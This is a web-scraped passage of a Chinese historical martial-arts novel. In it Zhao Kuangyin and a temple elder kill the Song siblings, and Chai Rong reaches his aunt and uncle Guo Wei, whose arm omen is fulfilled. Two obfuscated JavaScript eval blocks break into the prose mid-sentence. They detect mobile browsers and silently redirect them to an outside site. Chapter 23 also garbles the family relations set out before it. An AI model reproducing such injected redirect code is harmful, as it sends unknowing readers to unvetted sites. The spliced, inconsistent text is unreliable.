昙云长老走到佛龛旁,挪开一尊韦陀像,露出一个暗格,里面放着一柄黑沉沉的铁弓,箭囊里插着三枝裹着铜皮的箭。“这是插靶铁胎弓,老衲年轻时护寺用的,还有这三枝连珠神箭。”他把弓箭递给赵匡胤,手把手教他拉弓的架势,“左手托弓要稳,右手拉弦得用腰劲,等会儿我把贼人哄进大殿,你就躲在供桌底下,听我念‘工’字为号,对准贼首咽喉放箭——切记,手不能抖。” 赵匡胤试着拉了拉弓,臂力惊人,竟能轻松拉满,弓臂发出轻微的“嗡”鸣。他盯着箭簇上的寒光,心里盘算:若能除了追来的贼人,不仅能报今日被追杀之仇,还能护得这寺里的僧人安全,便点头应下。长老又喊来小徒弟慧能——这孩子才十五岁,眼睛亮得像星星,平日里最是机灵。“你去把门房的老钟敲响,就说寺里要做法事,让山下的乡亲们都知道,顺便盯着桃花山的动静,有贼来就赶紧报信。”慧能脆生生应了声“知道了”,揣着木鱼就跑了出去。 不多时,慧能喘着气跑回来,脸上带着慌色:“师父!不好了!桃花山来了好多贼,把山门围了,带头的是两个凶巴巴的汉子,说要找红脸公子!” 赵匡胤赶紧跟着长老躲进大殿,钻进供桌底下,慧能帮忙放下桌帷,又往桌角塞了几束干花,遮住缝隙。殿外传来贼人的叫骂声,长老整了整僧袍,慢悠悠走了出去。 山门外来的正是宋金洪和宋金辉兄弟。宋金洪脸上一道刀疤从眉骨划到下颌,手里的马鞭往地上一抽,尘土飞扬:“老和尚!我大哥宋金虎被一个红脸贼劈死了,那贼往你这寺里跑了,赶紧交出来!不然我拆了你这破寺!” 长老脸上堆着笑,语气平和:“大王这话就冤枉老衲了,今日寺里做法事,来来往往都是乡亲,没见过什么红脸汉子。您要是不信,不如去别处找找?”说着就要转身关门。 宋金洪却一把推开他,眼睛瞪得溜圆:“你当我傻?刚进门时山门关得死死的,一听我要找红脸贼,就想关门?这里面肯定有鬼!”他回头对宋金辉说:“兄弟,你在外边守着,我带三十个弟兄进去搜,定要把那红脸贼揪出来!” 宋金辉攥着刀点头:“二哥小心,那贼人力气大,别中了圈套。” 宋金洪带着喽啰闯进大殿,慧能故意在旁边扫地,假装不小心把扫帚撞在一个喽啰腿上:“对不住,对不住!”那喽啰骂了句“小秃驴”,注意力全在他身上,没注意到供桌下的动静。赵匡胤躲在桌下,透过帷布的缝隙看着宋金洪——这贼首正站在佛前,一脚踹翻了香案,“给我搜!天花板、柴房、厕所,每个角落都别放过!” 喽啰们立马散开,有的踩着凳子扒天花板,有的翻禅房的柜子,还有的甚至蹲在地上敲地板,想找暗格。一个喽啰走到供桌旁,伸手就要掀帷布,赵匡胤的心一下子提到了嗓子眼,手里的弓箭已经搭好,指节因为用力而发白。就在这时,慧能突然喊:“师父!柴房的柴火堆倒了,要不要去看看?”那喽啰骂了句“麻烦”,转身就往柴房跑。赵匡胤松了口气,后背的汗把里衣都浸湿了。 搜了半个时辰,喽啰们空手回来,宋金洪气得一脚踹在一个喽啰身上:“废物!这么多人连个人都找不到?供桌底下搜了吗?” 长老在一旁暗暗好笑,嘴上却附和:“大王说得是,说不定真藏在供桌下呢。”他悄悄走到佛前,拿起罄锤,眼睛瞥向供桌。宋金洪果然走到供桌旁,刚要弯腰,长老突然敲了一下罄,嘴里念:“工——” 宋金洪愣了一下:“老和尚,你念啥?” “这是求签的灵咒,念了佛祖才会显灵,帮您找仇人啊。”长老又念了一声“工”。 “嗖!”一支箭突然从供桌下射出来,正中宋金洪的咽喉!他眼睛瞪得溜圆,手捂着脖子,嘴里“嗬嗬”响,没一会儿就倒在地上,血顺着地砖的缝隙流开。众喽啰吓得乱叫:“二大王死了!有刺客!”转身就往外跑。 长老拔出戒刀,堵住门口:“想跑?没那么容易!”赵匡胤从供桌下跳出来,捡起宋金洪掉在地上的宝剑,跟长老一起砍向喽啰。那些喽啰本就慌了神,没一会儿就倒了二十多个,剩下的拼了命才跑出寺门。 刚喘了口气,就听到山门外来了更响的叫骂声。慧能跑进来,脸色惨白:“师父!那个叫宋金辉的贼带着好多人冲进来了,说要为他二哥报仇!” 赵匡胤握紧宝剑,刚要出去,长老拉住他:“这宋金辉力大无穷,硬拼不行,得用智取。你躲在大殿的窗后,我去引他进来,等他经过窗边,你就从后面砍他——他眼睛里只有报仇,肯定不会防备。” 赵匡胤点点头,躲到窗后,透过窗户纸的破洞看着外面。长老提着戒刀,大步走出去,刚到金刚殿,就撞见了宋金辉。宋金辉一见长老,举刀就劈:“老秃驴!拿命来!”长老赶紧用戒刀格挡,“当”的一声,火花四溅,长老只觉得手臂发麻——这宋金辉的力气果然比他二哥大。 两人打了十多个回合,长老故意卖了个破绽,虚晃一刀,转身就往大殿跑:“你这贼人,休得放肆!”宋金辉哪里肯放,骂道:“老秃驴,跑不掉了!”提着刀就追了进去,完全没注意到窗边的影子。 赵匡胤在窗后看得清清楚楚,等宋金辉的身影刚进殿门,他猛地跳出来,手里的宝剑高高举起,“强贼看剑!”宋金辉正追着长老,忽然听到身后有声音,想转身已经来不及了,只觉得后颈一凉,接着就是一阵剧痛,“不好!”他惨叫一声,身体重重地倒在地上,刀“当啷”掉在一旁。 那些跟着进来的喽啰,见三大王死了,吓得魂都没了,转身就往外跑。赵匡胤和长老追了出去,刀剑齐挥,又砍倒了二十多个。山门外来的喽啰见里面杀声震天,知道大事不妙,纷纷骑着马跑了。 混乱过后,赵匡胤听到一阵马嘶,抬头一看,只见一匹赤兔马站在不远处,浑身的毛像火炭一样,高大健壮,正不安地刨着蹄子。他走过去,那马见了他,竟然不闹了,反而摆了摆尾巴,用头蹭了蹭他的胳膊。“好马!”赵匡胤心里一喜,抓住缰绳,翻身上马,只觉得这马跑起来又稳又快,比他之前骑过的任何一匹马都好。 这时,他又看到地上插着一柄刀,刀柄上有九个环,刀身闪着寒光。他捡起来,掂量了一下,手感正好,刀鞘上还刻着花纹。长老走过来,笑着说:“这是九耳八环刀,用纯钢炼的,锋利得很,之前是宋金辉的宝贝,如今归你,才算物尽其用。” 赵匡胤把刀佩在腰间,又看了看宋金洪的尸体,长老说:“这宋金洪的锁子黄金甲也不错,你试试能不能穿。”赵匡胤解开宋金洪的勒甲绦,把盔甲披在身上,不大不小,正好合身,再戴上凤翅盔,整个人显得更加威风。慧能在一旁拍手:“赵公子,您穿上这盔甲,骑着这马,就像画里的将军!” 赵匡胤正想说话,就见一个僧人慌慌张张跑进来:“长老!桃花山又来人了,这次是个女的,带着好多人,说要为她三个哥哥报仇!” 原来这女的是宋金虎、宋金洪、宋金辉的妹妹宋金花。她在桃花山等了半天,没等到哥哥们的消息,却见几个喽啰连滚带爬地跑回来,说三个哥哥都被赵匡胤杀了。宋金花当时就哭晕了,醒过来后,穿上师父紫霞洞老母给的烂银盔白甲,提着三尖两刃刀,骑着玉雪马,带着山寨里所有的喽啰就冲了过来。 长老赶紧让僧人们做好准备,慧能和几个师兄扯着用桌帷做的旗子,虽然没写字,但也显得有气势。赵匡胤骑着赤兔马,手里拿着九耳八环刀,站在最前面。远远地,就看到一队人马过来,为首的宋金花穿着白甲,手里的刀闪着光,像一朵带刺的白玫瑰。 宋金花开到近前,勒住马,娇声喝道:“马三铁!我桃花山待你不薄,每年给你十万钱布施,你为何帮着外人杀我哥哥?今日你若把赵匡胤交出来,我还能饶你和这寺里的僧人一命,不然,我踏平你这蛰龙寺!” 赵匡胤拍马上前,大声骂道:“你这泼妇!你哥哥们打家劫舍,害死了多少乡亲,死有余辜!今日我就替天行道,除了你这女贼!” 宋金花抬头一看,见赵匡胤穿的盔甲、骑的马,都是二哥三哥的,心里更痛了:“红脸贼!你杀了我哥哥,还偷他们的东西,你还有脸说替天行道?你敢报上名来吗?” “我行不更名坐不改姓,东京赵指挥之子赵匡胤便是!”赵匡胤冷笑一声,“你又是谁?也配跟我动手?” 宋金花咬着牙:“我乃紫霞洞老母门下宋金花!今日我就要为我哥哥们报仇!”说完,拍马举刀,就朝赵匡胤砍来。赵匡胤赶紧用九耳八环刀格挡,“当”的一声,两人战在了一起。 两人你来我往,打了三十多个回合,不分胜负。赵匡胤心里暗赞:这女子武艺不错,比她三个哥哥都厉害,刀招又快又狠,再打下去,怕是要吃亏。宋金花也觉得吃力——赵匡胤的力气比她大,刀招沉稳,每一次格挡都震得她手臂发麻。她眼珠一转,故意卖了个破绽,虚晃一刀,拨马就跑:“红脸贼,我打不过你,我走!” 赵匡胤以为她真的要逃,心里一急:“哪里走!”拍马就追了上去。长老在后面大喊:“公子,别追!小心有诈!”可赵匡胤已经追出去了。 宋金花回头一看,见赵匡胤追来了,心里暗喜。她伸手从豹皮囊里取出一颗红色的珠子——这是烈火珠,只要念动真言,就能放出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519286|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈火。她嘴里默念咒语,把珠子往空中一抛:“红脸贼,尝尝我的烈火珠!”那颗珠子在空中转了一圈,发出红光,像一团小火球,朝赵匡胤头顶落去。 赵匡胤抬头一看,见红光朝自己飞来,心里一惊:“不好!”刚想勒马躲开,可那珠子像长了眼睛一样,跟着他走。他只觉得头顶越来越热,头晕眼花,心里想:难道我今日要死在这里? 就在这时,他的顶门突然“砰”的一声裂开,一道金光射了出来,里面飞出一条赤龙!龙身缠绕着万道毫光,一下子就抓住了那颗烈火珠,吞进肚子里,然后盘旋了一圈,又钻回了赵匡胤的顶门。周围的人都看呆了——僧人们纷纷合十:“阿弥陀佛,真龙护体!”喽啰们吓得腿都软了:“是龙!他是真龙下凡!” 宋金花也惊呆了,手里的刀差点掉在地上:“怎么会……怎么会这样……” 长老见状,赶紧取出弓箭,搭上箭:“宋金花,看我的连珠箭!”他“嗖”的一声,射了一箭过去。宋金花回过神来,冷笑一声:“老秃驴,这点本事还敢跟我比?”她左眼一瞅,那支箭“啪”地掉在地上——这是她师父教的“瞅箭法”,能用眼神震落箭矢。长老又射一箭,她右眼一瞅,第二支箭也落了地。 长老心里一惊,赶紧取出第三支箭,心里盘算:我先射两箭引她注意,再射第三箭,她肯定来不及躲。他先射了两箭,宋金花果然像之前一样,用眼睛瞅落了,可就在她得意地扬起下巴时,长老的第三支箭“嗖”地射了过来! “不好!”宋金花大叫一声,赶紧歪身躲避,可还是晚了,箭擦着她的肋下过去了,带起一片血花。她疼得皱紧眉头,刚想拔刀反击,却听到身后传来马蹄声——赵匡胤已经绕到她身后了! “泼妇,看刀!”赵匡胤举起九耳八环刀,朝宋金花的后背砍去。宋金花光顾着前面的箭,没注意身后,“噗”的一声,刀砍在了她的后背上,她惨叫一声,从马上摔了下来,当场气绝。 众喽啰见宋金花也死了,吓得魂飞魄散,转身就想跑,可僧人们已经围了上来。长老走出来,手里提着禅杖,大声说:“尔等听着!老衲知道,你们大多是附近的饥民,被宋氏兄妹胁迫才做了贼。如今他们死了,你们要是愿意回头,老衲就放你们一条生路——回家种地,或者学门手艺,总比打打杀杀强!” 一个喽啰哆哆嗦嗦地说:“长、长老,我们回去也没饭吃,还不是要饿死?” “老衲已经跟山下的乡亲们说好了,你们回去后,每家可以借两石粮食,等秋收了再还。”长老指了指远处,“你们看,山下的乡亲们都来了,他们也愿意帮你们。” 喽啰们顺着他指的方向一看,果然看到好多乡亲提着篮子往这边走,里面装着馒头和蔬菜。一个年纪大的喽啰王二叔站了出来,他擦了擦眼泪:“长老说得对!我们跟着宋家兄妹,也没捞到什么好处,反而害了不少人。今日就听长老的,再也不做贼了!” 其他喽啰听了,也纷纷放下兵器,跪在地上给长老磕头:“多谢长老饶命!” 长老让僧人们让开一条路,喽啰们背着行李,跟着乡亲们回了家乡。之后他们还回桃花山,把山寨里的金银珠宝分了,又放火烧了山寨——他们不想再让任何人占了这地方做坏事。 晚上,长老在禅堂摆了筵席,请赵匡胤吃饭。桌上摆着素鸡、素鸭、豆腐,还有一壶米酒。赵匡胤喝了一口酒,对长老说:“今日多亏了长老和慧能,不然我怕是性命难保。” 长老笑着说:“公子不必客气,除暴安良是应该的。只是公子接下来打算去哪里?” 赵匡胤叹了口气:“我在东京杀了御乐,如今还是逃犯,只能先往关西走,看看能不能找个地方安身。” “公子不必担心,老衲有个朋友在关西的节度使府做事,明日老衲写封信,你带着去,他定会帮你。”长老从怀里掏出一张纸,提笔写了封信,递给赵匡胤。 第二天早上,赵匡胤刚收拾好行李,就见慧能跑进来:“师父!赵公子!山下的乡亲们都来了,说要给您送东西!” 赵匡胤和长老走到山门,见乡亲们提着鸡蛋、蔬菜、布料,堆了一大堆。一个老农握着赵匡胤的手,激动地说:“赵公子,多谢你除了宋氏兄妹,我们以后再也不用怕被抢了!这是我们的一点心意,你一定要收下!” 赵匡胤推辞不过,只好收下了几个鸡蛋。他翻身上马,对长老和慧能抱了抱拳:“长老,慧能,今日之恩,赵匡胤永世不忘!他日若有机会,定当报答!” 长老挥了挥手:“公子一路保重,记得多做为民除害的事。” 赵匡胤骑着赤兔马,提着九耳八环刀,朝关西方向走去。阳光洒在他的盔甲上,闪着金光,远远看去,就像一位真正的将军。 只是他不知道,前方还有更多的挑战在等着他——关西的贼寇更凶,官府的追捕也没停。他这一路,还会遇到什么事? 且看下回分解。 22. 第 22 章 话说昙云长老和赵匡胤把桃花山的贼寇彻底剿灭后,两人并肩走回清修寺。刚进寺门,就见小和尚慧能慌慌张张跑过来,手里还攥着半块没吃完的窝窝头:“长老、赵公子!山脚下那几个常来送菜的老乡,带着好些东西在大殿外等着呢,说要谢咱们!” 昙云长老捋了捋灰白的胡须,和赵匡胤对视一眼,脚步轻快地往大殿走。刚到殿门口,就见五六个穿着粗布短褂的乡人围上来,带头的是个年过六旬的老者,姓王,村里人都叫他王阿公,此刻他手里捧着个蓝布包袱,双手还在微微发颤:“长老、赵公子,可算把您二位盼回来了!这桃花山的贼子,前儿还抢了我家小子的彩礼钱,害得姑娘差点跳了井,如今您二位把他们除了,咱们这十里八乡才算能喘口气啊!” 赵匡胤赶紧扶住王阿公的胳膊,笑着说:“老人家客气了,我本就见不得这等欺压百姓的事,举手之劳而已。”说话间,王阿公把蓝布包袱递过来:“公子您瞧,这是您在擂台上打贼子时落下的行李,里面有件青布衫,还有条绣着云纹的腰带,我们捡着后,特意让村里的巧妇补了补破口,您别嫌弃。” 赵匡胤接过包袱,打开一看,那条腰带是母亲当年亲手缝的,针脚细密,边角处还绣着个小小的“胤”字。他指尖摩挲着腰带,心里忽然涌上一股思乡之情——出来闯荡这么久,不知道家里父母身子是否安康,弟弟们有没有好好读书。 昙云长老看出他的心事,拍了拍他的肩膀:“公子不必挂怀,眼下除了大害,也是积德行善。对了,那些贼寇留下的几十匹牲口,放在寺里也没地方养,还得麻烦各位乡亲帮忙带回村里。”他顿了顿,目光扫过众人,“谁家缺耕牛,就先牵走一两匹,也算给咱们寺里积点福报。” 王阿公一听,立马拍着胸脯应下来:“长老放心!咱们这就去牵马,保证每家都能分到合用的!”说着,就带着乡亲们跟着慧能去后院牵牲口。慧能搬梯子想把马厩的门栓打开,脚一滑差点摔下来,赵匡胤眼疾手快扶住他,还叮嘱道:“慢着点,别摔着了。”慧能红着脸点头,心里暗叹这赵公子看着英武,心思倒挺细。 等乡亲们走后,赵匡胤和昙云长老坐在禅房里喝茶。赵匡胤忽然盯着墙上“蛰龙寺”的匾额,皱了皱眉:“长老,我总觉得‘蛰龙’这两个字不太好——龙要是蛰伏起来,哪还有兴风作浪的机会?我如今虽在江湖漂泊,可心里总想着能为天下百姓做些事,不如把匾额改成‘兴龙’,您看如何?” 昙云长老盯着他看了半晌,忽然笑了:“公子有此雄心,老衲佩服!‘兴龙’二字,既合天意,又顺人心,就这么改!”当晚,师徒几个就找来了油漆和刷子,慧能踩着梯子,赵匡胤在下面扶着,昙云长老亲手题写“兴龙寺”三个大字,月光洒在匾额上,倒有几分大气磅礴的意思。 这边赵匡胤在寺里安心住下,那边泌州的招商店里,柴荣正躺在床上,脸色蜡黄得像张枯纸。自从郑恩拿着仅剩的碎银跑出去买酒,就再也没回来,柴荣本就虚弱的身子,没了人照顾,病情一下子就重了。 隔壁房的李老栓是个走街串巷的草药郎,这天早上熬药时,闻到柴荣房里传来一股淡淡的霉味,忍不住从门缝里往里瞅。就见柴荣蜷缩在破被子里,嘴唇干裂,连呼吸都透着虚弱。李老栓叹了口气——前几天他还送过柴荣一包治咳嗽的草药,可这孩子连熬药的力气都没有,如今怕是撑不了多久了。他想敲门问问,手抬到半空又缩了回来:“唉,我自己都快揭不开锅了,哪还有力气管别人的事?”说完,摇摇头回了自己房。 店主张老三也愁得头发都白了半截。他站在柴荣房门口,听着里面没什么动静,心里七上八下的——这柴客人住了三个多月,房钱一分没给,郑恩还卷走了他剩下的本钱,如今店里连个客人都不敢来,都说怕染上恶病。张老三推开房门,就见房顶上漏下来的雨珠,正滴在柴荣的破被子上,他赶紧走过去,推了推柴荣:“柴客人!醒醒!你被子漏湿了!” 推了好几下,柴荣都没反应。张老三心里一紧,伸手去摸他的鼻息,指尖刚碰到柴荣的鼻尖,就吓得往后退了两步——这鼻息弱得几乎感觉不到!他又颤巍巍地掀开被子,见柴荣仰面躺着,双眼紧闭,脸色白得像纸,顿时腿一软,差点坐在地上:“苦也!你这是要坑死我啊!要是你真死在这儿,我哪有钱给你买棺材?这店还开不开了?” 他正自言自语,忽然见柴荣翻了个身,嘴里还嘟囔了一句“水……”。张老三吓得差点喊出声,连连后退:“鬼……鬼啊!” 柴荣慢慢睁开眼,嗓子干得发疼:“老店家,你……你怕什么?我还活着呢。”刚才一声霹雳,把他吓得出了一身大汗,原本堵在胸口的浊气一下子散了,就是身子太弱,昏了过去。 张老三揉了揉眼睛,确认柴荣真的醒了,才松了口气,连忙说:“活着就好!活着就好!你等着,我这就给你熬米汤去!”他小跑着去了厨房,揭开米缸一看,只剩下小半碗小米,还是昨天从隔壁李婶那儿借的。他把小米洗了洗,添了点水,慢慢熬成稠稠的米汤,端到柴荣面前时,手还在抖——刚才那一下,可把他吓得不轻。 柴荣喝了半碗米汤,身子稍微有了点力气。接下来的五六天,张老三每天都给他熬粥、烧热水,柴荣的脸色也渐渐好了些。这天,他靠在床头,看着窗外飘着的落叶,心里却像压了块石头:父亲当年推着小车卖伞,一家人虽不富裕,却也安稳。可自从父亲在潼关漏了税,被高小鹞乱箭射死,他就成了孤家寡人。后来遇到赵匡胤、郑恩,本以为能有个依靠,没想到郑恩竟把本钱都花光,还弃他而去。如今欠着房钱,身上一分钱没有,以后的日子该怎么过? 他忽然想起,母亲生前说过,他有个姑母嫁在禅州,姑丈郭威还是个挂印总兵。要是能投奔他们,说不定能有条活路。可转念一想,他欠着张老三的房钱,又没盘缠,怎么去禅州? 正发愁时,张老三走了进来:“柴客人,你身子好多了,该想想以后的事了。” 柴荣叹了口气,把想投奔姑母的事说了,最后红着眼眶说:“只是我欠您的房钱,还有去禅州的盘缠,实在没办法……” 张老三心里盘算着:要是柴客人能走,自己这店也能清净些,就算舍了那点房钱,总比他死在这儿强。于是他拍了拍柴荣的肩膀:“房钱的事不急,你以后发达了再还我就行。盘缠我帮你凑!咱们这街上有几家店,以前跟你做过伞生意,我去说说,他们说不定能帮衬一把。” 当天下午,张老三就带着柴荣挨家挨户去求情。王记伞铺的王老板一开始不愿意:“这柴小子之前还欠我两把伞的钱呢,我凭什么帮他?”张老三赶紧说:“王老板,您就行行好,这孩子不容易,以后他要是真发达了,肯定忘不了您的情分。”王老板琢磨了半天,才摸出一钱银子。李记米铺的李婶心软,听了柴荣的遭遇,直接给了五分银子。就这样,跑了十多家店,总算凑了九钱多银子。 柴荣握着银子,眼圈通红:“老店家,您这份情,我记一辈子!” 张老三摆摆手:“快收拾收拾走吧,禅州离这儿还有一千多里,早走早到。”他帮柴荣把破行李捆好,还特意塞了两个窝头进去:“路上饿了吃。” 柴荣谢过张老三,背着行李,踏上了去禅州的路。此时正是初冬,冷风像刀子一样刮在脸上,他身上只穿了件单衣,走了没几天,就冻得手脚发麻。九钱银子很快就花光了,他只好把行李里的旧衣服卖了,换了点钱买吃的。又走了十几天,他实在撑不住了,只好沿路乞讨。 这天,他走到一个小村庄,肚子饿得咕咕叫,就向一户人家讨饭。门开了,一个五六岁的小女孩探出头,手里拿着半个窝头。小女孩的妈妈皱着眉:“妞妞,别给他,咱们自己都不够吃。” 妞妞却把窝头递到柴荣面前:“叔叔,你是不是很饿?这个给你吃。” 柴荣接过窝头,眼泪差点掉下来,他蹲下来,摸了摸妞妞的头:“谢谢你,小姑娘。” 又走了十几天,柴荣终于到了禅州。他打听着找到帅府,刚走到辕门口,就被两个巡捕拦住了。那巡捕见他衣衫褴褛,满脸灰尘,顿时皱起眉头:“哪来的乞丐?这是帅府,也敢乱闯?是不是想挨揍?” 柴荣赶紧说:“我……我是郭总兵的内侄,我叫柴荣,求你们通报一声。” “就你?还内侄?”巡捕冷笑一声,举起手里的棍子就要打。 这时,一个头发花白的老军卒走了过来,他叫赵大叔,在帅府当差多年,见柴荣可怜,就偷偷拉了拉他的袖子:“小伙子,你别在这儿说,去后门试试,太太心善,说不定能通融。” 柴荣感激地看了赵大叔一眼,绕到帅府后门。后门紧闭着,两个小军卒正靠在墙上打盹。柴荣正想上前,就听见里面有人喊:“开门!” 小军卒赶紧把门打开,两个丫鬟走了出来,其中一个叫春桃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519287|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里拿着个银子包:“这是太太赏的三两银子,你们送到万佛观,交给当家师太,明日初一要供佛。” 小军卒接了银子,匆匆走了。柴荣咬了咬牙,上前一步:“姑娘,麻烦你通报一声,我叫柴荣,是太太的内侄,想来投奔她。” 另一个丫鬟刚想呵斥,春桃拦住了她:“等等,太太之前说过,有个内侄在外面漂泊,不如问问清楚。”她转向柴荣,“你是哪里人?父亲叫什么名字?” 柴荣连忙说:“我是徽州人,父亲叫柴守礼,当年在潼关做买卖……” 春桃一听,心里有了数——太太常提起弟弟柴守礼,说他在潼关出事了。她赶紧说:“你等着,我这就去通报。” 春桃跑进后堂时,夫人正在佛前念经,手里的念珠转得飞快。听到“柴荣”两个字,夫人手里的念珠“啪嗒”掉在地上,连忙说:“快!快把他带进来!” 等柴荣走进后堂,夫人一看他的样子,眼泪一下子就掉了下来——这孩子和弟弟年轻时长得真像,可如今却瘦得不成样子,衣衫上还有好几个破洞。她走过去,颤抖着问:“你……你真是君贵?” 柴荣“扑通”一声跪下,眼泪夺眶而出:“姑母!我是君贵啊!父亲他……他被高小鹞害死了!我无依无靠,只能来投奔您!” 夫人抱着柴荣,哭得浑身发抖:“我的苦命侄子!你怎么把自己弄成这样?”哭了一会儿,她擦干眼泪,对春桃说:“把佛堂旁边的书房收拾出来,让君贵住进去,再找套干净衣服给他换上。”又转过身对柴荣说:“你姑丈性子好强,最看重仪表,你先在佛堂养些日子,等气色好了,再见他。” 柴荣住进佛堂后,才算有了个安稳住处。佛堂里有个静空师太,是夫人请来念经的,见柴荣识字,就常和他聊天,还教他读些兵法书籍。柴荣每天早上都会用木棍当剑,在院子里练习——他暗暗发誓,以后一定要有本事,为父亲报仇,再也不任人欺负。 过了一个月,柴荣的气色好了许多,原本蜡黄的脸变得红润,身材也挺拔了不少。夫人见了,高兴地说:“君贵,今日可以见你姑丈了。”她让人给柴荣准备了一身锦缎衣服,还牵来一匹枣红马,又雇了个随从,让柴荣从后门出去,再从正门进帅府——这样显得体面些。 柴荣骑着马,来到帅府辕门口,高声说:“烦请通报郭总兵,内侄柴荣求见。” 巡捕见他衣着华丽,骑着骏马,哪里敢怠慢,赶紧跑进府里通报。郭威正在堂上处理公务,听说内侄来了,心里还有点不耐烦——这些年总有人打着亲戚的旗号来求官,不知道这个内侄是不是也是这样。可等他见了柴荣,心里顿时一亮:这孩子身材挺拔,眼神明亮,一看就不是那种游手好闲之辈。 柴荣上前一步,跪下磕头:“姑丈在上,小侄柴荣拜见。” 郭威连忙扶起他,笑着说:“贤侄一路辛苦,快起来!你姑母天天念叨你,今日总算见着了。”他拉着柴荣的手,走进后堂,对夫人说:“你看你,有这么个好侄子,怎么不早让我见见?” 夫人故意说:“我还怕你嫌他寒酸,不肯认呢。” 三人坐下喝茶,郭威问起柴荣这些年的经历。柴荣把父亲被害、自己漂泊的事说了,最后叹了口气:“如今新主登基,整天沉迷酒色,不理朝政,百姓苦不堪言,只怕这天下要乱了。” 郭威放下茶杯,眼神变得锐利起来:“贤侄说得没错!当年我和刘智远一起打仗,他能当皇帝,我凭什么不能?只是半年前,有个相士苗光义说我有天子命,却要等‘雀儿得饱食’才能成事。”他撸起左边的袖子,露出一个肉瘤,形状像只小雀,“我这左膀有个‘雀儿’,右膀有个‘谷稔’,可这两个肉瘤离得五寸多,‘雀儿’怎么能吃到‘谷稔’?我想了半年,也没明白。” 柴荣盯着郭威的胳膊,心里忽然有了个主意。他假装沉思了一会儿,说:“姑丈,我觉得这‘雀儿得饱食’,不一定是真的让‘雀儿’飞到‘谷稔’上。相士说的,或许是民心——要是您能得到百姓的支持,就像‘雀儿’得到了粮食,自然能成事。” 郭威眼睛一亮,拍着桌子说:“贤侄说得对!我怎么没想到呢?有你在我身边,何愁大事不成!” 柴荣心里暗暗高兴——他知道,自己总算找到了一条能施展抱负的路,也离为父亲报仇的目标,更近了一步。 毕竟柴荣接下来会如何辅佐郭威,还要看下回分解。 23. 第 23 章 话说后汉年间,邺都帅府的内堂里,烛火通明,郭威正陪着姑丈柴守礼、姑母柴氏一家三口围坐饮酒。桌上摆着酱肘子、烧羊肉,还有一壶刚温好的汾酒,酒香混着肉香,满屋子都是暖意。郭威今年已近五十,两鬓添了些白发,可眼神里满是雄心——这些年他跟着刘知远打天下,如今手握兵权,心里早有了称帝的念头,只是没找到合适的机会说出口。 酒过三巡,郭威端着酒杯叹了口气:“姑丈,不瞒您说,我这心里头啊,总想着干一番大事业。如今朝廷动荡,百姓受苦,我要是能执掌大权,定能让天下太平。”这话正说到柴荣心坎里——柴荣是柴守礼的儿子,从小就跟着郭威,早就把这位姑爹当成了靠山。他心里暗忖:“姑爹年纪大了,又没儿子,将来这位置迟早是我的。不如趁今天探探他的口风,要是能定下个名分,往后就好办了。” 柴荣放下酒杯,脸上堆着笑:“姑爹,您常说自己身上有奇相,能成大事。小侄斗胆,想亲眼瞧瞧,不知姑爹肯不肯?”郭威这会儿已有三分酒意,听柴荣这么说,顿时捋着胡子哈哈大笑:“贤侄想看有何不可?要是我这‘雀儿’真能跟‘谷稔’凑到一块儿,将来我当了皇帝,就封你当守阙太子,接我的班!” 柴荣一听,心里乐开了花,赶紧离席磕头:“谢姑爹恩典!”郭威更高兴了,叫过旁边伺候的丫鬟春桃和秋菊:“你们俩过来,帮我把外袍和中衣脱了,让柴贤侄瞧瞧。”两个丫鬟手脚麻利地帮郭威宽了衣,露出两条胳膊——左胳膊上长着个拳头大的肉瘤,形状像只展翅的雀儿;右胳膊上则有个谷穗似的疙瘩,两者之间隔着五寸多远,看着就像两尊小山峰。 柴荣凑上前,心里怦怦直跳——他既盼着这两物能靠在一起,又怕姑爹看出自己的心思,手都有点发颤。他一只手轻轻按住“雀儿”,另一只手按住“谷稔”,慢慢往中间挤。没想到这一挤,那“雀儿”竟真的往“谷稔”那边挪了挪,最后竟完完全全贴在了一起!柴荣又惊又喜,高声喊道:“姑爹!雀儿进到谷稔里了!” 郭威一开始还以为是柴荣故意挤的,笑着说:“贤侄,你用手按着,当然能凑一块儿,松开手还能粘住不成?”柴荣赶紧松开手,可那“雀儿”竟像长在了“谷稔”上似的,纹丝不动!柴荣傻了眼,心里嘀咕:“刚才还隔着五寸远,怎么这会儿真粘住了?难道真是天意?”他赶紧喊柴氏:“姑母,您快来看!这雀儿真跟谷稔连在一起了,不是我骗人!” 柴氏走过来一看,果然不假——两条胳膊上的异相紧紧粘在一块儿,分毫不差。她赶紧对郭威说:“老爷,你快看看!侄儿没说瞎话,要不咱把穿衣镜抬来,你自己瞧瞧!”郭威也慌了,叫春桃和秋菊把堂屋里那面一人高的穿衣镜抬过来,又拿了面菱花小手镜,对着穿衣镜前后照。这一看,他清清楚楚地看见两物相连,心里顿时乐疯了,手舞足蹈地喊:“妙啊!妙啊!这是天意要我成事!贤侄,多亏了你,往后我必不负你!” 说着,郭威叫人重新摆酒,又加了两道菜——一道清蒸鲈鱼,一道炒虾仁,四个人边喝边聊,直到半夜才散。柴荣回房后,翻来覆去睡不着,心里满是憧憬:“姑爹封我当太子,将来我就是皇帝了!得好好干,不能让姑爹失望。”而郭威则对着镜子里的异相,暗下决心:“时机差不多了,该找机会把大权攥在手里了。” 